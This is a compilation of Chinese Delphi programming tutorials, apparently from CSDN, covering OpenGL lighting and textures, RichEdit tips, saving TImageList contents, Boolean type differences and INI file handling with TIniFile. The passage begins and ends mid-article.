procedure TfrmMain.Timer1Timer(Sender: TObject);
begin
timer1.Enabled:=false;
MyDraw;
Yield;
Timer1.Enabled:=true;
end;

procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timer1.Enabled:=false;
if hrc<>null then
wglDeleteContext(hrc);
end;

end.

七、OPENGL的光照与纹理
都是增强三维立体效果和色彩效果的手段，光照能够增加图形的亮度和三维效果，纹理能够使用图形更加趋近现实。通过使用光照，可以将物体的外观很强列的表现出来，纹理则可以使物体显示多种多样的外观。
1 光照和光源过程及应用
A glIndex过程能够使颜色索引表中的某一种颜色成为当前颜色。
procedure glIndexd(c:GLdouble);
procedure glIndexf(c:GLdouble);
procedure glIndexi(c:GLdouble);
procedure glIndexs(c:GLdouble);
参数C为索引值，如果使用glIndex过程，则TPiexlFormatDescriptor结构中的iPixelType成员设置为PFD_TYPE_COLORINDEX。
B glShadeModel过程
glShadeModel过程设置填充模式,取值：GL_SMOOTH.
procedure glShadeModel(mode:GLenum);
注：以上两个过程只能在glBegin.....glEnd之外使用。
C glLight过程定义光源
procedure glLightf(light:GLenum,pname:GLenum,param:GLfloat);
procedure glLighti(light:GLenum,pname:GLenum,param:GLfloat);
参数light定义光源，其值可取：GL_LIGHT0.....GL_LIGHTN,N值小于GL_MAX_LIGHT.
参数pname指定光源参数：
GL_AMBIENT 环境光的分量强度
GL_DIFFUSE 散射光的分量强度
GL_SPECULAR 反射光的分量强度
GL_POSITION 光源位置
GL_SPOT_DIRECTION 光源的聚光方向
GL_SPOT_EXPONENT 光源的聚光指数
GL_SPOT_CUTOFF 光源的聚光方向
GL_CONSTANT_ATTENUATION 光常数衰退因子
GL_LINEAR_ATTENUATION 光二次衰减因子
启用和关闭光源使用glEnable()与glDisable()过程
glEnable(GL_LIGHTING); //启用光源
glDisable(GL_LIGHTING); //关闭光源
glEnable(GL_LIGHT0); //启用第0个光源
glDisable(GL_LIGHT0); //关闭第0个光源
设置光源的实例:
var
sdirection:Array[1..4] of GLfloat:={0.0,1.0,0.0,0.0};
glLightfv(GL_LIGHT0,GL_SPOT_CUTOFF,60);
glLightfv(GL_LIGHT0,GL_SPOT_DIRECTION,sdirection);
2 材质和光照模型
A glMaterial过程设置材质参数
procedure glMaterialf(face:GLenum,pname :GLenum,param:GLfloat);
procedure glMateriali(face:GLenum,pname :GLenum,param:GLfloat);
procedure glMaterialfv(face:GLenum,pname :GLenum,param:GLfloat);
procedure glMaterialiv(face:GLenum,pname :GLenum,param:GLfloat);
参数face指定物体表面,它的取值:GL_FRONT,GL_BACK,GL_FRONT_BACK.
pname,param本资料没作介绍.
B glLightModel过程
procedure glLightModelf(pname:GLenum,param:GLfloat);
参数pname为光源模型参数,可以取值GL_LIGHT_MODEL_AMBIENT,
GL_LIGHT_MODEL_LOCAL_VIEWER,GL_LIGHT_MODEL_TWO_SIDE.
实例代码:
procedure TfrmMain.SetLighting;
var
MaterialAmbient:array[1..4] of GLfloat;
MaterialDiffuse:Array[1..4] of GLfloat;
MaterialSpecular:Array[1..4] of GLfloat;
AmbientLightPosition:Array[1..4] of GLfloat;
LightAmbient:Array[1..4] of GLfloat;
MaterialShininess:GLfloat;
begin
MaterialAmbient[1]:=0.5;
MaterialAmbient[2]:=0.8;
MaterialAmbient[1]:=0.2;
MaterialAmbient[1]:=1.0;

MaterialDiffuse[1]:=0.4;
MaterialDiffuse[2]:=0.8;
MaterialDiffuse[3]:=0.1;
MaterialDiffuse[4]:=1.0;

MaterialSpecular[1]:=1.0;
MaterialSpecular[2]:=0.5;
MaterialSpecular[3]:=0.1;
MaterialSpecular[4]:=1.0;

materialShininess:=50.0;

AmbientLightPosition[1]:=0.5;
AmbientLightPosition[2]:=1.0;
AmbientLightPosition[3]:=1.0;
AmbientLightPosition[4]:=0.0;

LightAmbient[1]:=0.5;
LightAmbient[2]:=0.2;
LightAmbient[3]:=0.8;
LightAmbient[4]:=1.0;

glMaterialfv(GL_FRONT,GL_AMBIENT,@MaterialAmbient);
glMaterialfv(GL_FRONT,GL_DIFFUSE,@MaterialDiffuse);
glMaterialfv(GL_FRONT,GL_SPECULAR,@MaterialSpecular);
glMaterialfv(GL_FRONT,GL_SHININESS,@MaterialShininess);

glLightfv(GL_LIGHT0,GL_POSITION,@AmbientLightPosition);
glLightModelfv(GL_LIGHT_MODEL_AMBIENT,@LightAmbient);
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
GLShadeModel(GL_SMOOTH);
end;
3 纹理的应用
A glTexImage1D定义一维纹理映射.
procedure glTexImage1D(target:GLenum,level:GLint,components:GLint,width:GLsizei,
border:GLint,format:GLenum,type:GLenum,pixels:GLvoid);
参数targer值为GL_TEXTURE_1D,定义为纹理映射,level为多级分辨率的纹理图像的等级,width为纹理宽,值为2n,n取值为32,64,129等.border为纹理的边界,其值为0或1,Pixel为纹理在内存中的位置.Component指定RGBA的混合和调整:
1 选择B成分
2 选择B,A成分
3 选择R,G,B成分
4 选择R,G,B,A成分
B glTexImage2D定义二维纹理映射
procedure glTexImage2D(target:GLenum,level:GLint,components:GLint,width:GLsizei,
border:GLint,format:GLenum,type:GLenum,pixels:GLvoid);
若参数target为GL_TEXTURE_2D,意义为二维纹理映射,height为纹理的高,函数中的其它参数与glTexImage1D相同.component参数取值同上.
实例代码:
procedure TfrmMain.SetTextures;
var
bits:Array[1..64,1..64,1..64] of GLubyte;
bmp:TBitmap;
i,j:Integer;
begin
bmp:=TBitmap.Create;
bmp.LoadFromFile('d:\dsoft\1119\01\logon.bmp');
for i:=1 to 64 do
for j:=1 to 64 do
begin
bits[i,j,1]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,2]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,3]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,4]:=255;
end;
{0代表为单色着色水平，GL_RGBA表示混合值
64X64代表纹理的高和宽,0表示无边界,
GL_RGBA代表纹理类型,GL_UNSIGNED_TYPE代表数据类型,@代对象地址}
glTexImage2D(GL_TEXTURE_2D,0,GL_RGBA,64,64,0,GL_RGBA,
GL_UNSIGNED_BYTE,@bits);
glEnable(GL_TEXTURE_2D);
end;
C glTexParameter过程设置纹理参数
procedure glTexParameterf(target:GLenum,pname:GLenum,param:GLfloat);
procedure glTexParameteri(target:GLenum,pname:GLenum,param:GLfloat);
参数target代表GL_TEXTURE_1D或GL_TEXTURE_2D,param为纹理值.
D glTexEnv函数设置纹理的环境参数
function glTexEnvf(target:GLenum,pname:GLenum,param:GLfloat);
function glTexEnvi(target:GLenum,pname:GLenum,param:GLfloat);
参数target为GL_TEXTURE_ENV,
参数pname为纹理参数值,取值为GL_TEXTURE_ENV_MODE
参数param为环境值,取值为GL_MODULATE,GL_DECAL和GL_BLEND.
本程序示例代码:
unit MainFrm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OpenGL, ExtCtrls;

type
TfrmMain = class(TForm)
Timer1: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormResize(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
hrc:HGLRC;
w,h:Integer;
latitude,longitude:GLfloat;
radius:GLdouble;
public
{ Public declarations }
procedure SetLighting;
procedure SetTextures;
procedure MyDraw;
procedure InitializeGL(var width:GLsizei;height:GLsizei);
end;

var
frmMain: TfrmMain;

implementation

{$R *.dfm}

procedure TfrmMain.FormCreate(Sender: TObject);
var
pfd:TPixelFormatDescriptor;
PixelFormat:Integer;
begin
ControlStyle:=ControlStyle+[csOpaque];
FillChar(pfd,sizeof(pfd),0);
with pfd do
begin
nSize:=sizeof(TPixelFormatDescriptor);
nVersion:=1;
dwFlags:=PFD_DRAW_TO_WINDOW or
PFD_SUPPORT_OPENGL or PFD_DOUBLEBUFFER;
iPixelType:=PFD_TYPE_RGBA;
cColorBits:=24;
cDepthBits:=32;
iLayerType:=PFD_MAIN_PLANE;
end;
PixelFormat:=ChoosePixelFormat(Canvas.Handle,@pfd);
SetPixelFormat(Canvas.Handle,PixelFormat,@pfd);
hrc:=wglCreateContext(Canvas.Handle);
w:=ClientRect.Right;
h:=ClientRect.Bottom;
InitializeGL(w,h);
end;

procedure TfrmMain.FormDestroy(Sender: TObject);
begin
wglDeleteContext(hrc);
end;

procedure TfrmMain.FormPaint(Sender: TObject);
begin
wglMakeCurrent(Canvas.Handle,hrc);
glClearColor(1,1,1,1);
glColor3f(1,0,0);
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
SetTextures;
MyDraw;
SetLighting;
glFlush;
end;

procedure TfrmMain.MyDraw;
var
qObj:GLUQuadricObj;
begin
glPushMatrix;
glClear(GL_COLOR_BUFFER_BIT or GL_DEPTH_BUFFER_BIT);
glColor3f(1,0,0);
glRotated(0.5,0.0,1.0,0.0);
glRotated(-latitude,1.0,0.0,0.0);
glrotated(longitude,0.0,0.0,1.0);
qObj:=gluNewQuadric;
gluQuadricDrawStyle(qObj,GLU_LINE);
gluSphere(qObj,0.5,20,20);
SwapBuffers(Canvas.Handle);
SetLighting;
SetTextures;
end;

{procedure TfrmMain.FormResize(Sender: TObject);
var
nRange:GLfloat;
begin
nRange:=50.0;
w:=clientWidth;
h:=clientHeight;
if h=0 then
h:=1;
glViewPort(0,0,w,h);
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
if w<=h then
glOrtho(-nRange,nRange,-nRange*h/w,nRange*h/w,
-nRange,nRange)
else
glOrtho(-nRange*h/w,nRange*h/w,-nRange,nRange,
-nRange,nRange);
glMatrixMode(GL_MODELVIEW);
glLoadidentity;
repaint;
end;
}
procedure TfrmMain.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key=VK_ESCAPE then
Close;
if Key=VK_UP then
glRotatef(-5,1.0,0.0,0.0);
if Key=VK_DOWN then
glRotatef(5,1.0,0.0,0.0);
if Key=VK_LEFT then
glRotatef(-5,0.0,1.0,0.0);
if Key=VK_RIGHT then
glRotatef(5.0,0.0,1.0,0.0);
repaint;
end;

procedure TfrmMain.FormResize(Sender: TObject);
begin
glMatrixMode(GL_PROJECTION);
glLoadIdentity;
glFrustum(-1.0,1.0,-1.0,1.0,3.0,7.0);
glViewPort(0,0,clientWidth,clientHeight);
repaint;
invalidate;
end;

procedure TfrmMain.InitializeGL(var width: GLsizei; height: GLsizei);
var
maxObjectSize,aspect:GLfloat;
near_plane:GLdouble;
begin
glClearindex(0);
glClearDepth(1.0);
glEnable(GL_DEPTH_TEST);
glMatrixMode(GL_PROJECTION);
aspect:=1.0;
gluPerspective(45.0,aspect,3.0,7.0);
glmatrixMode(GL_MODELVIEW);
near_plane:=0.3;
maxObjectSize:=0.3;
radius:=near_plane+maxObjectSize/2.0;
latitude:=0.3;
longitude:=0.6;
end;

procedure TfrmMain.Timer1Timer(Sender: TObject);
begin
timer1.Enabled:=false;
MyDraw;
Yield;
Timer1.Enabled:=true;
end;

procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timer1.Enabled:=false;
if hrc<>null then
wglDeleteContext(hrc);
end;

procedure TfrmMain.SetLighting;
var
MaterialAmbient:array[1..4] of GLfloat;
MaterialDiffuse:Array[1..4] of GLfloat;
MaterialSpecular:Array[1..4] of GLfloat;
AmbientLightPosition:Array[1..4] of GLfloat;
LightAmbient:Array[1..4] of GLfloat;
MaterialShininess:GLfloat;
begin
MaterialAmbient[1]:=0.5;
MaterialAmbient[2]:=0.8;
MaterialAmbient[1]:=0.2;
MaterialAmbient[1]:=1.0;

MaterialDiffuse[1]:=0.4;
MaterialDiffuse[2]:=0.8;
MaterialDiffuse[3]:=0.1;
MaterialDiffuse[4]:=1.0;

MaterialSpecular[1]:=1.0;
MaterialSpecular[2]:=0.5;
MaterialSpecular[3]:=0.1;
MaterialSpecular[4]:=1.0;

materialShininess:=50.0;

AmbientLightPosition[1]:=0.5;
AmbientLightPosition[2]:=1.0;
AmbientLightPosition[3]:=1.0;
AmbientLightPosition[4]:=0.0;

LightAmbient[1]:=0.5;
LightAmbient[2]:=0.2;
LightAmbient[3]:=0.8;
LightAmbient[4]:=1.0;

glMaterialfv(GL_FRONT,GL_AMBIENT,@MaterialAmbient);
glMaterialfv(GL_FRONT,GL_DIFFUSE,@MaterialDiffuse);
glMaterialfv(GL_FRONT,GL_SPECULAR,@MaterialSpecular);
glMaterialfv(GL_FRONT,GL_SHININESS,@MaterialShininess);

glLightfv(GL_LIGHT0,GL_POSITION,@AmbientLightPosition);
glLightModelfv(GL_LIGHT_MODEL_AMBIENT,@LightAmbient);
glEnable(GL_LIGHTING);
glEnable(GL_LIGHT0);
GLShadeModel(GL_SMOOTH);
end;

procedure TfrmMain.SetTextures;
var
bits:Array[1..64,1..64,1..64] of GLubyte;
bmp:TBitmap;
i,j:Integer;
begin
bmp:=TBitmap.Create;
bmp.LoadFromFile('d:\dsoft\1119\02\logon.bmp');
for i:=1 to 64 do
for j:=1 to 64 do
begin
bits[i,j,1]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,2]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,3]:=GLbyte(GetRValue(bmp.Canvas.Pixels[i,j]));
bits[i,j,4]:=255;
end;
glPixelStorei(GL_UNPACK_ALIGNMENT,4);
glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_WRAP_S,GL_CLAMP);
glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MIN_FILTER,GL_NEAREST);
{0代表为单色着色水平，GL_RGBA表示混合值
64X64代表纹理的高和宽,0表示无边界,
GL_RGBA代表纹理类型,GL_UNSIGNED_TYPE代表数据类型,@代对象地址}
glTexImage2D(GL_TEXTURE_2D,0,GL_RGBA,64,64,0,GL_RGBA,
GL_UNSIGNED_BYTE,@bits);
glEnable(GL_TEXTURE_2D);
glTexEnvf(GL_TEXTURE_ENV,GL_TEXTURE_ENV_MODE,GL_DECAL);
end;

end.


CSDN_文档中心_Delphi中RichEdit的奥妙

一、如何得知当前行号
    用RichEdit（或者memo）控件制作文本编辑器时，通过访问linescount属性可以得到总行数，但是若想知道光标当前所在行的行号就麻烦了，因为delphi没有提供这个属性。要实现这个编辑器必备功能，就须调用em_ LineFromChar。请试试下面的程序。
    先在窗口中布置一个RichEdit或者memo（命名为editor），以及一个button。在button的onclick事件中写入下列代码。
    var
    CurrentLine:Integer;
    begin
    CurrentLine:=EditorPerform(em_ LineFromChar,SFFFF,0);
    ApplicationMessageBox(PChar(′当前行号是′＋IntToStr(CurrentLine)),′消息′,mb_ iconinformation);
    end;
    需要注意的是，第一行的行号为零。
    二、如何撤消操作（undo）
    对于memo来说，实现undo是不需编程的，只要让popupmenu属性为空，运行时就能用鼠标右键激活一个常用操作菜单，其中包括撤消、剪切、复制、粘贴、删除和全选六项。
    但可惜的是，这一招对于功能强大的RichEdit控件居然行不通，害得我们还要自己设计一个popupmemu。当你用CutToClipBoard等语句轻松而顺利地完成了“剪切”等功能，接着便会无奈地发现，竟找不到undo或cancel之类的语句来执行“撤消”。
    这时你需要这样处理：
    RichEdit1Perform(EM_UNDO,0,0);
    另外还应检查是否允许撤消，从而开启或关闭弹出菜单中的“撤消”项：
    Undo1Enabled:=RichEditPerform(EM_CANUNDO,0,0)<>0;
    以上程序在Delphi3中调试通过


CSDN_文档中心_Delphi中保存图像列表

原作发表在计算机世界日报：

http://www.ccw.com.cn/htm/app/aprog/01_6_5_2.asp

Delphi中保存图像列表

蔡健
01-6-5 下午 02:07:11

最近在做项目时遇到将图像列表(TImageList)中一系列的图像保存到指定的文件或二进制流中，以便在需要时进行动态恢复的情况。于是在Delphi的帮助中查找TImageList类相关的属性、方法，遗憾的是Delphi在TImageList中并未提供SaveToFile和SaveToStream方法，所以针对TImageList目前的限制，必须采取其它的办法来扩展TImageList的功能，以满足实际项目的需要。
解决方法
方法一：
使用API函数ImageList_Write和ImageList_Read。二者都需要指定一个类型为IStream的参数，前者的作用是将指定句柄的图像列表保存到类型为IStream的二进制流中；后者是从类型为IStream的二进制流中读出原先保存的图像列表，并且返回指向这个图像列表的句柄。IStream是一个OLE对象，它在Delphi中的声明为TStreamAdapter = class(TInterfacedObject, IStream)，意为TStreamAdapter是从TInterfacedObject继承下来的操纵 IStream接口的对象。通过TStreamAdapter对象可以实现Delphi内部TStream对象对ISTream接口对象的操纵。
方法二：
从TImageList继承一个子类TImageListEx，实现自定义的SaveToFileEx和SaveToStreamEx方法。在默认情况下TImageList中保存的图像是由普通图像及其掩码图像组合而成，所以必须调用其基类TCustomImageList的Protected部分提供的GetImages(Index: Integer; Image, Mask: TBitmap)方法，以获得图像列表中指定索引号的位图及其掩码位图，之后分别保存到自定义的文件或二进制流中，此外还需提供LoadFromFileEx和LoadFromStreamEx方法从自定义的文件或二进制流中恢复图像集合。
实现步骤
自定义的TImageListEx控件在Public部分一并实现了对上述两种方法的封装。
TImageListEx类源代码如下：
unit ImageListEx;
interface
uses Windows, SysUtils, Classes, Graphics, Controls, Commctrl, ImgList, Consts;
type
TImageListEx = class(TImageList)
public
procedure LoadFromFile(const FileName: string);//实现API方式保存
procedure LoadFromStream(Stream: TStream);
procedure SaveToFile(const FileName: string);
procedure SaveToStream(Stream: TStream);
procedure LoadFromFileEx(const FileName: string);//实现自定义方式保存
procedure LoadFromStreamEx(Stream: TStream);
procedure SaveToFileEx(const FileName: string);
procedure SaveToStreamEx(Stream: TStream);
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('ImageListEx', [TImageListEx]);
end;
{ TImageListEx }
procedure TImageListEx.LoadFromFile(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead);
try
LoadFromStream(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.LoadFromFileEx(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead);
try
LoadFromStreamEx(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.LoadFromStream(Stream: TStream);
var
SA: TStreamAdapter;
begin
SA := TStreamAdapter.Create(Stream);
try
Handle := ImageList_Read(SA);//将当前图像列表的句柄指向从二进制流中得到的句柄
if Handle = 0 then
raise EReadError.CreateRes(@SImageReadFail);
finally
SA.Free;
end;
end;
procedure TImageListEx.LoadFromStreamEx(Stream: TStream);
var
Width, Height: Integer;
Bitmap, Mask: TBitmap;
BinStream: TMemoryStream;
procedure LoadImageFromStream(Image: TBitmap);
var
Count: DWORD;
begin
Image.Assign(nil);
Stream.ReadBuffer(Count, SizeOf(Count));//首先读出位图的大小
BinStream.Clear;
BinStream.CopyFrom(Stream, Count);//接着读出位图
BinStream.Position := 0;//流指针复位
Image.LoadFromStream(BinStream);
end;
begin
Stream.ReadBuffer(Height, SizeOf(Height));
Stream.ReadBuffer(Width, SizeOf(Width));
Self.Height := Height;
Self.Width := Width;//恢复图像列表原来的高度、宽度
Bitmap := TBitmap.Create;
Mask := TBitmap.Create;
BinStream := TMemoryStream.Create;
try
while Stream.Position <> Stream.Size do
begin
LoadImageFromStream(Bitmap);//从二进制流中读出位图
LoadImageFromStream(Mask);//从二进制流中读出掩码位图
Add(Bitmap, Mask);//将位图及其掩码位图合并添加到图像列表中
end;
finally
Bitmap.Free;
Mask.Free;
BinStream.Free;
end;
end;
procedure TImageListEx.SaveToFile(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStream(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.SaveToFileEx(const FileName: string);
var
Stream: TStream;
begin
Stream := TFileStream.Create(FileName, fmCreate);
try
SaveToStreamEx(Stream);
finally
Stream.Free;
end;
end;
procedure TImageListEx.SaveToStream(Stream: TStream);
var
SA: TStreamAdapter;
begin
SA := TStreamAdapter.Create(Stream);
try
if not ImageList_Write(Handle, SA) then//将当前图像列表保存到二进制流中
raise EWriteError.CreateRes(@SImageWriteFail);
finally
SA.Free;
end;
end;
procedure TImageListEx.SaveToStreamEx(Stream: TStream);
var
I: Integer;
Width, Height: Integer;
Bitmap, Mask: TBitmap;
BinStream: TMemoryStream;
procedure SetImage(Image: TBitmap; IsMask: Boolean);
begin
Image.Assign(nil);//清除上一次保存的图像，避免出现图像重叠
with Image do
begin
if IsMask then Monochrome := True;//掩码位图必须使用单色
Height := Self.Height;
Width := Self.Width;
end;
end;
procedure SaveImageToStream(Image: TBitmap);
var
Count: DWORD;
begin
BinStream.Clear;
Image.SaveToStream(BinStream);
Count := BinStream.Size;
Stream.WriteBuffer(Count, SizeOf(Count));//首先保存位图的大小
Stream.CopyFrom(BinStream, 0);//接着保存位图
end;
begin
Height := Self.Height;
Width := Self.Width;
Stream.WriteBuffer(Height, SizeOf(Height));//保存原图像列表的高度
Stream.WriteBuffer(Width, SizeOf(Width));//保存将原图像列表的宽度
Bitmap := TBitmap.Create;
Mask := TBitmap.Create;
BinStream := TMemoryStream.Create;
try
for I := 0 to Count - 1 do//遂一保存图像列表中的图像
begin
SetImage(Bitmap, False);
SetImage(Mask, True);
GetImages(I, Bitmap, Mask);//取得指定索引号的位图及其掩码位图
SaveImageToStream(Bitmap);//保存位图到二进制流中
SaveImageToStream(Mask);//保存掩码位图到二进制流中
end;
finally
Bitmap.Free;
Mask.Free;
BinStream.Free;
end;
end;
end.
下面示范在Delphi中的使用方法：
首先在Delphi中新建一个项目，然后在Form1上放置一个ImageListEx控件，一个TreeView控件和四个Button控件。将TreeView控件的Images属性与ImageListEx相关联，在ImageListEx中任意添加几幅图像，在TreeView中添加相应数量的项目，项目的ImageIndex属性分别对应于ImageListEx中图像的索引号。现在TreeView中每个项目之前已经能够显示出相应的图标。
最后，在Button1的OnClick事件中写上：
ImageListEx1.SaveToFile('C:\CJ.dat');
ImageListEx1.SaveToFileEx('C:\CJEx.dat');
在Button2的OnClick事件中写上：ImageListEx1.Clear;
在Button3的OnClick事件中写上：ImageListEx1.LoadFromFile('C:\CJ.dat');
在Button4的OnClick事件中写上：ImageListEx1.LoadFromFileEx('C:\CJEx.dat');
运行程序，首先单击Button1，之后单击Button2，最后任意单击Button3或Button4，可以看到程序能够将图像列表中的图像保存到指定的文件中，可以从指定的文件中正确的恢复并显示。
结束语
本文介绍的内容已用于解决本人在实际项目中遇到的情况，也希望同样遇到此问题的程序员能够从中找到答案。以上代码在 Delphi5.0、Windows2000 Server 中调试运行通过。


CSDN_文档中心_Delphi中布尔类型辨析

Delphi中预定义的布尔类型有四种：Boolean ，ByteBool，WordBool，LongBool。其中，Boolean 类型是首选布尔类型，其余三种是为其它编程语言和Windows 环境提供兼容性支持。这些布尔类型在使用上大同小异，但如果混淆使用将可能会有意外结果。

    现做简单辨析供大家参考。

一、从资源占用的角度进行比较
    一项Boolean 类型的数据占用 1字节的内存；

    一项ByteBool类型的数据占用 1字节的内存；

    一项WordBool类型的数据占用 2字节的内存；

    一项LongBool类型的数据占用 4字节的内存。

    如果开发者在进行程序设计时将构造一种含有布尔数据类型的结构类型，那么在资源占用方面将有所考虑。尽管这些数据类型之间是可以相互赋值的，但某些特殊情况下是有区别的。首先看下面的语句：

    type

     ByteBoolFile = file of ByteBool;

     LongBoolFile = file of LongBool;

    这里，如果在这两中类型文件中存储相同数量的布尔值，其文件大小是不同的。而对同一物理文件按照这两种类型文件分别读取数据，其结果更是相去甚远。

    下面是比较ByteBool和LongBool的一段程序，得到的文件 test1.bin和 test2.bin的文件尺寸分别为 4字节和16字节。

    procedure CompareByteBoolWithLongBool;

    const

     FName1 = 'c:\test1.bin';

     FName2 = 'c:\test2.bin';

    type

     ByteBoolFile = file of ByteBool;

     LongBoolFile = file of LongBool;

    var

     BF: ByteBoolFile;

     LF: LongBoolFile;

     B: Boolean;

    begin

     B := False;

     AssignFile(BF, FName1);

     Rewrite(BF);

     Write(BF, B, B, B, B);

     CloseFile(BF);

     AssignFile(LF, FName2);

     Rewrite(LF);

     Write(LF, B, B, B, B);

     CloseFile(LF);

    end;

    有兴趣的朋友可以在此基础上再比较一下读取数据的区别，你会有更奇特的发现。

二、从布尔值的操作角度进行比较
    在Delphi中，布尔值只能被赋予预定义的常量True和 False之一。上述四种布尔数据类型有如下关系：

    Boolean ByteBool，WordBool，LongBool

    False < True False <> True

    Ord(False) = 0 Ord(False) = 0

    Ord(True) = 1 Ord(True) <> 0

    Succ(False) = True Succ(False) = True

    Pred(True) = False Pred(False) = True

    不难看出，Boolean 类型的有序的，而其它三种布尔数据类型是无序的。下面的程序给出了其中的部分区别：

    procedure CompareBooleanWithLongBool;

    var

     B: Boolean;

     LB: LongBool;

    begin

     B := False;

     LB := False;

     if Ord(B) = Ord(LB) then

        ShowMessage('Ord(B) = Ord(LB) [B = LB = False]') //将被执行

     else

        ShowMessage('Ord(B) <> Ord(LB) [B = LB = False]');

     B := True;

     LB := True;

     if Ord(B) = Ord(LB) then

        ShowMessage('Ord(B) = Ord(LB) [B = LB = True]')

     else

        ShowMessage('Ord(B) <> Ord(LB) [B = LB = True]'); //将被执行

     ShowMessage('Ord(B) = ' + IntToStr(Ord(B)));　　　　 //一定是 1

     ShowMessage('Ord(LB) = ' + IntToStr(Ord(LB)));　　　　//可能是-1

    end;

    摘自《赛迪网》　/文


CSDN_文档中心_Delphi中初始化.Ini文件的读写

Delphi中初始化.Ini文件的读写

金林樵 郭彩虹

在Windows中的应用程序极大多数拥有自己的初始化文件，如PowerBuilder、Office及Cstar等。因此初始化文件的读写是每个高级程序员必须掌握的技术。虽然初始化文件的读写也可用Object Pascal中的文本文件一样读写，但因初始化文件不同于一般的文本文件，它有自己固定的格式（见下面的初始化文件是ucdos中提供的rdfnt.ini文件），如果用文本文件的方式读写，不仅格式转换十分繁琐，且很容易出现错误，为了方便程序员读写初始化文件中的数据，Delphi中向用户提供了一个TIniFile类，通过TiniFile类就可十分方便地读写初始化文件。

Ucdos中rdfnt.ini文件的内容为：

[True Type fonts directory]

Dir=C:\WINDOWS\SYSTEM

[True Type fonts list]

ARIAL.TTF=64

ARIALBD.TTF=65

ARIALI.TTF=66

ARIALBI.TTF=67

TIMES.TTF=68

TIMESBD.TTF=69

TIMESI.TTF=70

TIMESBI.TTF=71

COUR.TTF=72

COURBD.TTF=73

COURI.TTF=74

COURBI.TTF=75

[Use All True Type fonts]

All=0

TiniFile类不是一个Delphi的部件，因此不能在Delphi的VCL模板中找到，它在Delphi 系统中的inifiles单元中定义，因此要使用TiniFile类，必须在使用该类的单元文件中用Uses inifiles指令明确地说明。

TiniFile类中定义了许多成员函数，这里介绍几个使用频率较高的成员函数：

⑴ Create（）

函数定义为： constructor Create(const FileName: string);

该函数建立TiniFile类的对象。参数FileName是要读写的初始化文件名。

若读写的文件在Windows的目录里（如system.ini文件），则可以直接写文件名而不必指定路径，否则就必须指定路径（如d:\ucdos\rdfnt.ini）。

如按以下规则在规定的目录中存在该文件，则打开该初始化文件；否则在规定的目录里创建该初始化文件。

⑵ ReadSections（）

过程定义为： procedure ReadSections(Strings: TStrings);

该过程将从所建立的TiniFile类的对象（即与之关联的初始化文件）中读取所有的节点名（即用[]括号括起的那部分，如rdfnt.ini文件中的[True Type fonts list]）存入字符串列表中。参数Strings即为字符串列表的变量名。

⑶ ReadSectionValues()

过程定义为： procedure ReadSectionValues(const Section: string; Strings: TStrings);

该过程将参数Section的值所对应的节点（如rdfnt.ini文件中的[True Type fonts list]）中的各个关键字（如ARIALBI.TTF）及其所含的值（如ARIALBI.TTF关键字值为67）读入参数Strings指明的字符串列表中。

⑷ ReadSection()

过程定义为： procedure ReadSection(const Section: string; Strings: TStrings);

该过程将参数Section的值所对应的节点中的各个关键字读入参数Strings指明的字符串列表中。与ReadSectionValues()不同的是它没有读取各个关键字的对应值。

⑸ ReadString()

函数定义为： function ReadString(const Section, Ident, Default: string): string;

该函数返回以参数Section的值为节点名、参数Ident的值为关键字名所对应的关键字值（如[True Type fonts list]节中ARIALBI.TTF关键字的值为67）。当指定的节点或节内的关键字不存在时，则函数返回参数Default的缺省值。返回的值是一个字符串型数据。

当指定节点中关键字值的数据类型不是字符串时，则可用ReadInteger()成员函数读取一个整型值，用ReadBool()成员函数读取一个布尔值。

⑹ WriteString()

过程定义为： procedure WriteString(const Section, Ident, Value: string);

该过程将参数Section的值为节点名、参数Ident的值为关键字名的关键字值设置为参数Value的值。该过程设置的是字符串型数据。

当指定节点和关键字均存在时，则用Value的值替代原值；如指定节点不存在，则在关联的初始化文件中自动增加一个节点，该节点的值为参数Section的值，并在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值；若节点存在，但关键字不存在，则在该节点下自动增加一个关键字，关键字名为参数Ident的值，该关键字对应的值为参数Value的值。

若要设置整型值，可调用WriteInteger()成员函数；用WriteBool()成员函数设置布尔值。

知道了以上函数的作用，要建立或读写一个初始化文件就不难了。下面以一个实际例子说明初始化文件的读取方法，步骤如下：

⒈ 在需要读写初始化文件的窗体（Form）上放置名为SectionComboBox、IdentComboBox的两个组合式列表框，其中SectionComboBox存放节点名，IdentComboBox存放所选择节点的关键字名。一个名为IdentValueEdit的输入框，存放对应关键字的值。名为CmdChang的修改命令钮可以用来修改关键字的值，修改后用名为CmdSave的存储命令钮将修改后的关键字的值存入关联的初始化文件。窗体对应的单元名设为IniUnit，窗体名设为IniForm，窗体布局如下图一所示：

